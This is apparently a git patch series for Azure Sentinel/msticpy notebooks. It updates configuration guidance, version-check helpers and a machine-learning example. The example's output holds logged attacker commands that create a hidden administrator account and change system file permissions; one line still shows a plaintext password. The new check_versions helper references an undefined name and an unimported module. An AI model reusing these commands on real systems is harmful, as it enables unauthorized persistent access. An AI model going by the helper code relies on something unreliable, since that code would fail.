\"your-vt-key\"\n", - " Primary: True\n", - " Provider: \"VirusTotal\"\n", - " XForce:\n", - " # You can store items in an environment variable using this syntax\n", - " Args:\n", - " ApiID:\n", - " EnvironmentVar: \"XFORCE_ID\"\n", - " AuthKey:\n", - " EnvironmentVar: \"XFORCE_KEY\"\n", - " Primary: True\n", - " Provider: \"XForce\"\n", - " AzureSentinel:\n", - " Args:\n", - " # Workspace and tenant where your ThreatIndicator table is\n", - " # - usually the same as your default workspace\n", - " # E.g.\n", - " # WorkspaceID: \"c88dd3c2-d657-4eb3-b913-58d58d811a41\"\n", - " # TenantID: \"4cdf87a8-f0fc-40bb-9d85-68bcf4ac8e61\"\n", - " Primary: True\n", - " Provider: \"AzSTI\"\n", - " OpenPageRank:\n", - " Args:\n", - " AuthKey: \"your-OPR-key\"\n", - " Primary: True\n", - " Provider: \"OPR\"\n", - " TorExitNodes:\n", - " Primary: True\n", - " Provider: Tor\n", - "OtherProviders:\n", - " # GeoIP data providers\n", - " GeoIPLite:\n", - " Args:\n", - " AuthKey:\n", - " EnvironmentVar: \"MAXMIND_AUTH\"\n", - " DBFolder: \"~/.msticpy\"\n", - " Provider: \"GeoLiteLookup\"\n", - " IPStack:\n", - " Args:\n", - " AuthKey:\n", - " EnvironmentVar: \"IPSTACK_AUTH\"\n", - " Provider: \"IPStackLookup\"\n", - "Browshot:\n", - " Args:\n", - " AuthKey: \"brow-shot-key\"" + "mpedit.set_tab(\"GeoIP Providers\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "

Important Security Note

\n", + "\n", + "> You might not be too comfortable leaving API keys stored in\n", + "> text files. You can opt to have these settings stored either:\n", + "> - as Environment Variables\n", + "> - in Azure Key Vault\n", + "\n", + "To see how to do this see these resources\n", + "- [MPSettingsEditor notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/MPSettingsEditor.ipynb)
\n", + "- [MSTICPy Package Configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)
\n", + "- [MSTICPy Settings Editor](https://msticpy.readthedocs.io/en/latest/getting_started/SettingsEditor.html)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "### Edit an Existing `msticpyconfig.yaml`\n", + "### Optional Settings 1 - Azure Data and Azure Sentinel APIs\n", + "\n", + "### Azure API and Azure Sentinel API\n", + "To access Azure APIs (such as the Sentinel APIs or Azure resource APIs) \n", + "you need to be able to use Azure Authentication.\n", + "The setting is named \"AzureCLI\" for historical reasons - don't let that confuse you.\n", + "We currently support two ways of authenticating:\n", + "1. Chained chained authentication (recommended)\n", + "2. With a client app ID and secret\n", "\n", - "If you have an `msticpyconfig.yaml` replace the filename with\n", - "the full path to you file and execute the cell.\n", + "The former can try up to four methods of authentication:\n", + "- Using creds set in environment variables\n", + "- Using creds available in an AzureCLI logon\n", + "- Using the Managed Service Identity (MSI) credentials of the machine you are\n", + " running the notebook kernel on\n", + "- Interactive browser logon\n", "\n", - "To save the file add the line\n", + "To use chained authentication methods select the methods to want to use and leave\n", + "the clientId/tenantiId/clientSecret fields empty.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpedit.set_tab(\"Data Providers\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Optional Settings 2 - Autoload QueryProviders\n", + "\n", + "This section controls which, if any query providers you want to load automatically\n", + "when you run `nbinit.init_notebook`.\n", + "\n", + "This can save a lot of time if you are frequently authoring new notebooks. It also\n", + "allows the right providers to be loaded before other components that might use them such as\n", + "- Pivot functions\n", + "- Notebooklets\n", + "(more about these in the next section)\n", + "\n", + "There are two types of provider support:\n", + "- Azure Sentinel - here you specify both the provider name and the workspace name that you want to connect to.\n", + "- Other providers - for other query providers, just specify the name of the provider.\n", + "\n", + "Available Azure Sentinel workspaces are taken from the items you configured in the **Azure Sentinel** tab.\n", + "Other providers are taken from the list of available provider types in *MSTICPy*.\n", + "\n", + "There are two options for each of these:\n", + "- **connect** - if this is True (checked) *MSTICPy* will try to authenticate to the\n", + " provider backend immediately after loading. This assumes that you've configured\n", + " credentials for the provider in your settings.\n", + " Note: if this is not set it defaults to True.\n", + "- **alias** - when MSTICPy loads a provider it assigns it to a Python variable name.\n", + " By default this is \"qry_*workspace_name*\" for Azure Sentinel providers and\n", + " \"qry_*provider_name*\" for other providers. If you want to use something a bit shorter\n", + " and easier to type/remember you can add a *alias*. The variable name created\n", + " will be \"qry_*alias*\"\n", + " \n", + "> **Note** if you lose track of which providers have been loaded by\n", + "> this mechanism they are added to the `current_providers` attribute of\n", + "> `msticpy`\n", + "```python\n", + " import msticpy\n", + " msticpy.current_providers\n", + "```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpedit.set_tab(\"Autoload QueryProvs\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Optional Settings 3 - Autoloaded Component\n", + "This section controls which, if other components you want to load automatically\n", + "when you run `nbinit.init_notebook()`.\n", + "\n", + "This includes\n", + "- TILookup - the Threat Intel provider library\n", + "- GeopIP - the Geo ip provider that you want to use\n", + "- AzureData - the module used to query details about Azure resources\n", + "- AzureSentinelAPI - the module used to query the Azure Sentinel API\n", + "- Notebooklets - loads notebooklets from the [msticnb package](https://msticnb.readthedocs.io/en/latest/)\n", + "- Pivot - pivot functions\n", + "\n", + "These are loaded in this order, since the Pivot component needs query and other providers\n", + "loaded in order to find the pivot functions that it will attach to entities.\n", + "For more information see [pivot functions](https://msticpy.readthedocs.io/en/latest/data_analysis/PivotFunctions.html)\n", + "\n", + "Some components do not require any parameters (e.g. TILookup and Pivot). Others do support or require additional\n", + "settings:\n", + "\n", + "**GeoIpLookup**\n", + "\n", + "You must type the name of the GeoIP provider that you want to use - either \"GeoLiteLookup\" or \"IPStack\"\n", + "\n", + "**AzureData** and **AzureSentinelAPI**\n", + "- **auth_methods** - override the default settings for AzureCLI and connect using the selected methods\n", + "- **connnect** - set to false to load but not connect\n", + "\n", + "**Notebooklets**\n", + "\n", + "This has a single parameter block **AzureSentinel**. At minumum you\n", + "should specify the workspace name. This needs to be in the following\n", + "format:\n", + "```\n", + " workspace:WORKSPACENAME\n", "```\n", - " %%writefile path/to/your/msticpyconfig.yaml\n", + "WORKSPACENAME must be one of the workspaces defined in the Azure Sentinel tab.\n", + "\n", + "You can also add addition parameters to send to the notebooklets init function:\n", + "Specify these as addition key:value pairs, separated by newlines.\n", "```\n", + " workspace:WORKSPACENAME\n", + " providers=[\"LocalData\",\"geolitelookup\"]\n", + "```\n", + "See the \n", + "[msticnb `init` documentation](https://msticnb.readthedocs.io/en/latest/msticnb.html#msticnb.data_providers.init)\n", + "for more details\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpedit.set_tab(\"Autoload Components\")\n", + "mpedit" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Save your file and add the MSTICPYCONFIG environment variable\n", + "\n", + "Save your file, and, if you haven't yet done so, create an\n", + "enviroment variable to point to it. See [Setting the path to your msticpyconfig.yaml](#Setting-the-path-to-your-msticpyconfig.yaml)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Validating your `msticpyconfig.yaml` settings\n", + "\n", + "MpConfigFile includes a validation function that can help\n", + "you diagnose setup problems.\n", + "\n", + "You can run this interactively or from Python.\n", "\n", - "to the top of the cell and execute again." + "The examples below assume that you have set `MSTICPYCONFIG` to point\n", + "to you config file. If not, you will need to use the `load_from_file()`\n", + "function (or Load File button) to load the file before validating." ] }, { @@ -463,7 +867,27 @@ "metadata": {}, "outputs": [], "source": [ - "%load path/to/your/msticpyconfig.yaml" + "mpconfig = MpConfigFile()\n", + "mpconfig.load_default()\n", + "mpconfig.validate_settings()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To validate interactively:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpconfig = MpConfigFile()\n", + "mpconfig.load_default()\n", + "mpconfig" ] } ], @@ -471,8 +895,9 @@ "hide_input": false, "history": [], "kernelspec": { + "display_name": "Python 3.6.7 64-bit ('condadev': conda)", "language": "python", - "name": "python36" + "name": "python36764bitcondadevconda6cccf545f08246a1a5c093078bc87e5f" }, "language_info": { "codemirror_mode": { @@ -484,7 +909,7 @@ "name": "python", "nbconvert_exporter": "python", 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Set query time boundaries

'), HBox(children=(DatePicker(value=datetime.date…" ] }, "metadata": {}, @@ -226,7 +198,7 @@ }, { "cell_type": "code", - "execution_count": 8, + "execution_count": 4, "metadata": {}, "outputs": [ { @@ -301,7 +273,7 @@ "2020-07-06 02:00:00+00:00 13532" ] }, - "execution_count": 8, + "execution_count": 4, "metadata": {}, "output_type": "execute_result" } @@ -329,7 +301,7 @@ }, { "cell_type": "code", - "execution_count": 9, + "execution_count": 5, "metadata": {}, "outputs": [ { @@ -659,7 +631,7 @@ "\n", "\n", "\n", - "
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Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"b9b0cc5b-024c-41af-9651-6f7f1da25bea\",\"root_ids\":[\"1146\"],\"roots\":{\"1146\":\"aa89d17c-f0ca-4046-b778-a10747157a8c\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -735,7 +707,7 @@ }, { "cell_type": "code", - "execution_count": 10, + "execution_count": 6, "metadata": {}, "outputs": [ { @@ -809,7 +781,7 @@ "115 1 29906 6.055974 1 " ] }, - "execution_count": 10, + "execution_count": 6, "metadata": {}, "output_type": "execute_result" } @@ -834,7 +806,7 @@ }, { "cell_type": "code", - "execution_count": 11, + "execution_count": 7, "metadata": {}, "outputs": [ { @@ -960,7 +932,7 @@ }, { "cell_type": "code", - "execution_count": 12, + "execution_count": 10, "metadata": {}, "outputs": [ { @@ -1168,7 +1140,7 @@ "[4601 rows x 1 columns]" ] }, - "execution_count": 12, + "execution_count": 10, "metadata": {}, "output_type": "execute_result" } @@ -1262,174 +1234,174 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" ], "text/plain": [ - "" + "" ] }, "metadata": {}, @@ -1437,7 +1409,7 @@ } ], "source": [ - "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, _string_score\n", + "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features, char_ord_score\n", "from collections import Counter\n", "\n", "print(f\"Input data: {len(processes_on_host)} events\")\n", @@ -1445,7 +1417,7 @@ "feature_procs = add_process_features(input_frame=processes_on_host, path_separator=\"\\\\\")\n", "\n", "feature_procs[\"accountNum\"] = feature_procs.apply(\n", - " lambda x: _string_score(x.Account), axis=1\n", + " lambda x: char_ord_score(x.Account), axis=1\n", ")\n", "print(\".\", end=\"\")\n", "\n", @@ -2300,7 +2272,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -2312,8 +2284,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = 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20:11:27+00:00 \n", + " ClientIP nCmds nDistinctCmds begin \\\n", + "18 nan 10 1 2020-06-28 05:30:53+00:00 \n", + "145 20.185.182.48:37965 6 1 2020-07-29 20:11:27+00:00 \n", "\n", - " duration \\\n", - "145 0 days \n", + " end duration \\\n", + "18 2020-06-28 05:30:53+00:00 0 days \n", + "145 2020-07-29 20:11:27+00:00 0 days \n", "\n", " cmds \\\n", + "18 [Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-Cond... \n", "145 [Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember,... \n", "\n", " params \\\n", + "18 [{'Set-ConditionalAccessPolicy': [{'Name': 'Identity', 'Value': 'seccxpninja.onmicrosoft.com\\\\23... \n", "145 [{'Update-RoleGroupMember': [{'Name': 'Members', 'Value': 'CBoehmSA;pcadmin;SecurityAdmins_20075... \n", "\n", " session \\\n", + "18 [Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-Cond... \n", "145 [Update-RoleGroupMember, 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"model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "bc564f065a9246808ac92e3f0015c87c": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "50%" - } - }, - "bca5fa2d697f4a69b26d49106c4dd395": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SliderStyleModel", - "state": { - "description_width": "initial" - } - }, - "bec64c3667dd488d86551163a660b41e": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "bar_style": "success", - "layout": "IPY_MODEL_9ebaa6d5f2ee4ef7aa41f2bd0fbab155", - "max": 4, - "style": "IPY_MODEL_12402f27469d468dbf67f26787d6f280", - "value": 4 - } - }, - "c1571308579440ca82b869b0f2bd3585": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DatePickerModel", - "state": { - "description": "Origin Date", - "disabled": false, - "layout": "IPY_MODEL_32514345810d4b66b68802489b21e6d9", - "style": "IPY_MODEL_e89b4ae257f04cbaab3ae69439a739bd", - "value": { - "date": 13, - "month": 6, - "year": 2020 - } - } - }, - "c89bb1b35f07436db87784b6fca6c34d": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "FloatProgressModel", - "state": { - "bar_style": "success", - "layout": "IPY_MODEL_4a6fad8420ef4272a89134da0149a5e0", - "max": 4, - "style": "IPY_MODEL_e33b7f40ae84497ab66754e8103a0bed", - "value": 4 - } - }, - "d88862a2c39949c081d1ef528445d4d6": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "e05492a591134e738c6208dc032ae507": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "VBoxModel", - "state": { - "children": [ - "IPY_MODEL_886abaa92da94ad8b642fe05f9f6cdc8", - "IPY_MODEL_66c632df337740fa81956550f4462fa1", - "IPY_MODEL_a2621f0bfbd04ec4b6b2d299814d0d19" - ], - "layout": "IPY_MODEL_ba62f4a4982f4bc197f51a15c8e4b578" - } - }, - "e33b7f40ae84497ab66754e8103a0bed": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "ProgressStyleModel", - "state": { - "description_width": "" - } - }, - "e6061c1b1c684a8faded49e6dc210e99": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "layout": "IPY_MODEL_1d65adcc24cc4887a4bd235cfd33b52c", - "style": "IPY_MODEL_7ca445a0eaf04f30bf1251c9c51132e5", - "value": " 4/4 [00:09<00:00, 2.42s/it]" - } - }, - "e7123925e813418f8baf96fb1440362e": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "TextModel", - "state": { - "description": "Query end time (UTC) : ", - "layout": "IPY_MODEL_bc564f065a9246808ac92e3f0015c87c", - "style": "IPY_MODEL_99034cb2ddb84dbcbe164332115433a8", - "value": "2020-07-20 00:00:00" - } - }, - "e8650fddd98348cca5d4b4083d9e1c15": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "95%" - } - }, - "e89b4ae257f04cbaab3ae69439a739bd": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "" - } - }, - "e8ec87ecd6dd494ab68bd253f077d708": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "fe8b2586b4a2430dba35b68bed2ce804": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "layout": "IPY_MODEL_8c13e8d98d274a4f8b2438f02732abd4", - "style": "IPY_MODEL_15a40089a87d4f12aa536d52f75ef56a", - "value": "File download: 100%" - } - } - }, + "state": {}, "version_major": 2, "version_minor": 0 } diff --git a/utils/nb_check.py b/utils/nb_check.py index b962714..4adb889 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -66,7 +66,7 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): ) ) - _check_nteract() + os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-extended" # pylint: disable=import-outside-toplevel @@ -86,10 +86,10 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): """ display(HTML("Checking msticpy version...")) + wrong_ver_err = "msticpy %s.%s.%s or later is needed." % min_msticpy_ver try: import msticpy - wrong_ver_err = "msticpy %s.%s.%s or later is needed." % min_msticpy_ver - mp_version = tuple([int(v) for v in msticpy.__version__.split(".")]) + mp_version = tuple(int(ver) for ver in msticpy.__version__.split(".") if ver.isnumeric()) if mp_version < min_msticpy_ver: raise ImportError(wrong_ver_err) @@ -97,7 +97,7 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): display(HTML(MISSING_PKG_ERR.format(package="msticpy"))) resp = input("Install? (y/n)") # nosec if resp.casefold().startswith("y"): - raise ImportError("Install msticpy") + raise display( HTML( @@ -115,22 +115,3 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): raise RuntimeError(wrong_ver_err) display(HTML("msticpy version %s.%s.%s OK" % mp_version)) - - -_NTERACT_MSSG = """ -Azure ML detected
-It looks like this notebook is running in an Azure Machine Learning workspace. -If you using the AzureML native notebook interface -(i.e. not Jupyter or Jupyter lab) we need to adjust a -setting for the UI to behave properly. -Ignoring or answering "n" will not affect the functionality of the notebook -but you may see some extraneous UI elements being displayed. -""" - - -def _check_nteract(): - if os.environ.get("USER", "").casefold() == "azureuser": - display(HTML(_NTERACT_MSSG)) - set_app = input("Configure for Azure ML Notebooks? (y/n)") # nosec - if set_app.casefold().startswith("y"): - os.environ["KQLMAGIC_NOTEBOOK_APP"] = "nteract" From e09e63948f61194d0634b677bed9c991ab57eb4e Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Tue, 16 Mar 2021 13:18:51 -0700 Subject: [PATCH 02/23] Update to remove passwords from ML notebook Updated notebookmetadata.json with new dates --- Machine Learning in Notebooks Examples.ipynb | 42 ++++++++++---------- notebookmetadata.json | 12 +++--- 2 files changed, 27 insertions(+), 27 deletions(-) diff --git a/Machine Learning in Notebooks Examples.ipynb b/Machine Learning in Notebooks Examples.ipynb index 6202c6b..89f155c 100644 --- a/Machine Learning in Notebooks Examples.ipynb +++ b/Machine Learning in Notebooks Examples.ipynb @@ -1530,7 +1530,7 @@ " \n", " 22659\n", " 2019-02-12 20:30:18.290\n", - " findstr \"abai$\"\n", + " findstr \"abai__\"\n", " \n", " \n", " 22660\n", @@ -1540,22 +1540,22 @@ " \n", " 22661\n", " 2019-02-12 20:30:18.377\n", - " net user abai$ Wf9k44_9d[=$ /add\n", + " net user abai__ [PLACEHOLDER] /add\n", " \n", " \n", " 22662\n", " 2019-02-12 20:30:18.387\n", - " C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ /add\n", + " C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] /add\n", " \n", " \n", " 22663\n", " 2019-02-12 20:30:18.413\n", - " net user abai$ Wf9k44_9d[=$\n", + " net user abai__ [PLACEHOLDER]\n", " \n", " \n", " 22664\n", " 2019-02-12 20:30:18.427\n", - " C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$\n", + " C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER]\n", " \n", " \n", " 22665\n", @@ -1565,7 +1565,7 @@ " \n", " 22666\n", " 2019-02-12 20:30:18.460\n", - " findstr \"abai$\"\n", + " findstr \"abai__\"\n", " \n", " \n", " 22667\n", @@ -1575,12 +1575,12 @@ " \n", " 22668\n", " 2019-02-12 20:30:18.493\n", - " net localgroup administrators abai$ /add\n", + " net localgroup administrators abai__ /add\n", " \n", " \n", " 22669\n", " 2019-02-12 20:30:18.510\n", - " C:\\Windows\\system32\\net1 localgroup administrators abai$ /add\n", + " C:\\Windows\\system32\\net1 localgroup administrators abai__ /add\n", " \n", " \n", " 22670\n", @@ -1600,17 +1600,17 @@ " \n", " 22673\n", " 2019-02-12 20:30:18.590\n", - " net user www.401hk.com Wf9k44_9d[=$ /add\n", + " net user www.401hk.com [PLACEHOLDER] /add\n", " \n", " \n", " 22674\n", " 2019-02-12 20:30:18.603\n", - " C:\\Windows\\system32\\net1 user www.401hk.com Wf9k44_9d[=$ /add\n", + " C:\\Windows\\system32\\net1 user www.401hk.com [PLACEHOLDER] /add\n", " \n", " \n", " 22675\n", " 2019-02-12 20:30:18.630\n", - " net user www.401hk.com Wf9k44_sinc9d3[=$\n", + " net user www.401hk.com [PLACEHOLDER]\n", " \n", " \n", "\n", @@ -1643,22 +1643,22 @@ "22656 ftp -s:MG06.dll \n", "22657 cacls.exe C:\\Windows\\system32\\cscript.exe /e /t /g SYSTEM:F \n", "22658 net users \n", - "22659 findstr \"abai$\" \n", + "22659 findstr \"abai__\" \n", "22660 C:\\Windows\\system32\\net1 users \n", - "22661 net user abai$ Wf9k44_9d[=$ /add \n", - "22662 C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ /add \n", - "22663 net user abai$ Wf9k44_9d[=$ \n", - "22664 C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ \n", + "22661 net user abai__ [PLACEHOLDER] /add \n", + "22662 C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] /add \n", + "22663 net user abai__ [PLACEHOLDER] \n", + "22664 C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] \n", "22665 net localgroup administrators \n", - "22666 findstr \"abai$\" \n", + "22666 findstr \"abai__\" \n", "22667 C:\\Windows\\system32\\net1 localgroup administrators \n", - "22668 net localgroup administrators abai$ /add \n", - "22669 C:\\Windows\\system32\\net1 localgroup administrators abai$ /add \n", + "22668 net localgroup administrators abai__ /add \n", + "22669 C:\\Windows\\system32\\net1 localgroup administrators abai__ /add \n", "22670 net users \n", "22671 findstr \"www.401hk.com\" \n", "22672 C:\\Windows\\system32\\net1 users \n", - "22673 net user www.401hk.com Wf9k44_9d[=$ /add \n", - "22674 C:\\Windows\\system32\\net1 user www.401hk.com Wf9k44_9d[=$ /add \n", + "22673 net user www.401hk.com [PLACEHOLDER] /add \n", + "22674 C:\\Windows\\system32\\net1 user www.401hk.com [PLACEHOLDER] /add \n", "22675 net user www.401hk.com Wf9k44_sinc9d3[=$ " ] }, diff --git a/notebookmetadata.json b/notebookmetadata.json index 027e120..cc2bc7f 100644 --- a/notebookmetadata.json +++ b/notebookmetadata.json @@ -1,7 +1,7 @@ [ { "id": "AnomalyLookup", - "lastRevisedDate": "2020-10-06" + "lastRevisedDate": "2021-03-01" }, { "id": "Office365Exploring", @@ -41,7 +41,7 @@ }, { "id": "GettingStarted", - "lastRevisedDate": "2020-08-11" + "lastRevisedDate": "2021-03-16" }, { "id": "MDATP", @@ -57,18 +57,18 @@ }, { "id": "MLExamples", - "lastRevisedDate": "2020-11-12" + "lastRevisedDate": "2021-03-04" }, { "id": "Solarwinds", - "lastRevisedDate": "2021-01-11" + "lastRevisedDate": "2021-03-16" }, { "id": "HandsOnAPI", - "lastRevisedDate": "2020-12-04" + "lastRevisedDate": "2021-03-01" }, { "id": "HandsOnSDK", - "lastRevisedDate": "2020-12-04" + "lastRevisedDate": "2021-03-01" } ] From dec3a7f901736b3386417b1b8a4c252e4ba181bc Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Fri, 26 Mar 2021 18:06:48 -0700 Subject: [PATCH 03/23] Updating nb_check.py - less code in notebook, better error messages, able to handle msticpy with "extras" and non-numeric package numbers (e.g. "rc3") --- utils/nb_check.py | 99 +++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 88 insertions(+), 11 deletions(-) diff --git a/utils/nb_check.py b/utils/nb_check.py index 4adb889..971d420 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -5,17 +5,68 @@ # -------------------------------------------------------------------------- """Checker for Python and msticpy versions.""" import os +import re +import subprocess import sys from IPython.display import display, HTML MISSING_PKG_ERR = """

The package '{package}' is not - installed or has an incorrect version

-

Please install this now

+ installed or has an unsupported version {inst_ver} +

Please install or upgrade this now

+ Required version is {package}>={req_ver} """ MIN_PYTHON_VER_DEF = (3, 6) -MSTICPY_REQ_VERSION = (0, 5, 2) +MSTICPY_REQ_VERSION = (0, 9, 0) +VER_RGX = r"(?P\d+)\.(?P\d+).(?P\d+)(?P.*)" + + +def check_versions( + min_py_ver=MIN_PYTHON_VER_DEF, min_mp_ver=MSTICPY_REQ_VERSION, extras=None +): + """ + Check the current versions of the Python kernel and MSTICPy. + + Parameters + ---------- + min_py_ver : Tuple[int, int] + Minimum Python version + min_py_ver : Tuple[int, int] + Minimum MSTICPy version + + Raises + ------ + RuntimeError + If the Python version does not support the notebook. + If the MSTICPy version does not support the notebook + and the user chose not to upgrade + + """ + check_python_ver(min_py_ver=min_py_ver) + try: + check_mp_ver(min_msticpy_ver=min_mp_ver) + except ImportError: + sp_args = [ + "pip", + "install", + "--upgrade", + ] + if extras: + sp_args.append(f"msticpy[{', '.join(extras)}]") + else: + sp_args.append("msticpy") + subprocess.run( + sp_args, + check=True, + stdout=sys.stdout, + stderr=sys.stderr, + ) + if "msticpy" in sys.modules: + importlib.reload(sys.modules["msticpy"]) + else: + import msticpy + check_mp_ver(REQ_MSTICPY_VER) def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): @@ -38,7 +89,7 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): display( HTML( """ -

This notebook requires a different notebook +

This notebook requires a later notebook (Python) kernel version.

From the Notebook menu (above), choose Kernel then Change Kernel... from the menu.
@@ -77,24 +128,39 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): Parameters ---------- min_py_ver : Tuple[int, int] - Minimum Python version + Minimum MSTICPy version Raises ------ RuntimeError - If the Python version does not support the notebook. + If the MSTICPy version does not support the notebook + and the user chose not to upgrade. + + ImportError + If MSTICPy version is insufficient and we need to upgrade """ display(HTML("Checking msticpy version...")) wrong_ver_err = "msticpy %s.%s.%s or later is needed." % min_msticpy_ver + curr_ver_text = "none" try: import msticpy - mp_version = tuple(int(ver) for ver in msticpy.__version__.split(".") if ver.isnumeric()) + + curr_ver_text = msticpy.__version__ + mp_version = _get_version(msticpy) if mp_version < min_msticpy_ver: raise ImportError(wrong_ver_err) except ImportError: - display(HTML(MISSING_PKG_ERR.format(package="msticpy"))) + display( + HTML( + MISSING_PKG_ERR.format( + package="msticpy", + inst_ver=curr_ver_text, + req_ver=_fmt_ver(min_msticpy_ver), + ) + ) + ) resp = input("Install? (y/n)") # nosec if resp.casefold().startswith("y"): raise @@ -103,15 +169,26 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): HTML( """

The notebook cannot be run without - the correct version of '%s' (%s.%s.%s or later) + the correct version of '{pkg}' ({ver} or later).

+ Currently installed version is {curr_ver} Please see the TroubleShootingNotebooks in this folder for more information

- """ - % ("msticpy", *min_msticpy_ver) + """.format(pkg="msticpy", ver=_fmt_ver(min_msticpy_ver), curr_ver=curr_ver_text) ) ) raise RuntimeError(wrong_ver_err) display(HTML("msticpy version %s.%s.%s OK" % mp_version)) + + +def _fmt_ver(version): + return ".".join(str(ver) for ver in version) + +def _get_version(module): + ver_match = re.match(VER_RGX, module.__version__) + if ver_match: + ver_dict = ver_match.groupdict() + return int(ver_dict["maj"]), int(ver_dict["min"]), int(ver_dict["pnt"]) + return (0, 0, 0) \ No newline at end of file From 0461b82c37cda25a228d7da47d18d4d58923d468 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Fri, 26 Mar 2021 18:08:21 -0700 Subject: [PATCH 04/23] Updating gitignore for vscode settings --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index f1844f0..c62e4bf 100644 --- a/.gitignore +++ b/.gitignore @@ -332,3 +332,4 @@ ASALocalRun/ **/Kqlmagic_temp_files/** **/.mypy_cache/** **/kqlmagic/** +/.vscode/** From 83b72558c9b406053d53972b0f927b3e2a96a76f Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 1 Apr 2021 12:04:48 -0700 Subject: [PATCH 05/23] Notebook changes for testing --- ...uide For Azure Sentinel ML Notebooks.ipynb | 995 +----------- ConfiguringNotebookEnvironment.ipynb | 518 +----- Entity Explorer - Domain and URL.ipynb | 73 +- Entity Explorer - Linux Host.ipynb | 111 +- Entity Explorer - Windows Host.ipynb | 63 +- ...nomalous Office365 Exchange Sessions.ipynb | 37 +- ...ting - Base64-Encoded Linux Commands.ipynb | 62 +- ...ed Hunting - Covid-19 Themed Threats.ipynb | 60 +- Guided Hunting - Office365-Exploring.ipynb | 57 +- ... Investigation - MDE Webshell Alerts.ipynb | 31 +- Guided Investigation - Process-Alerts.ipynb | 48 +- ... Solarwinds Post Compromise Activity.ipynb | 100 +- Guided Investigation - WAF data.ipynb | 44 +- Guided Triage - Alerts.ipynb | 55 +- Machine Learning in Notebooks Examples.ipynb | 670 ++++++-- Notebook Template.ipynb | 83 +- README.md | 23 +- SigmaRuleImporter.ipynb | 144 +- msticpyconfig.yaml.sample | 63 +- nbdemo/msticpy demo.ipynb | 1430 ++++++++++++++--- requirements.txt | 2 +- utils/nb_check.py | 29 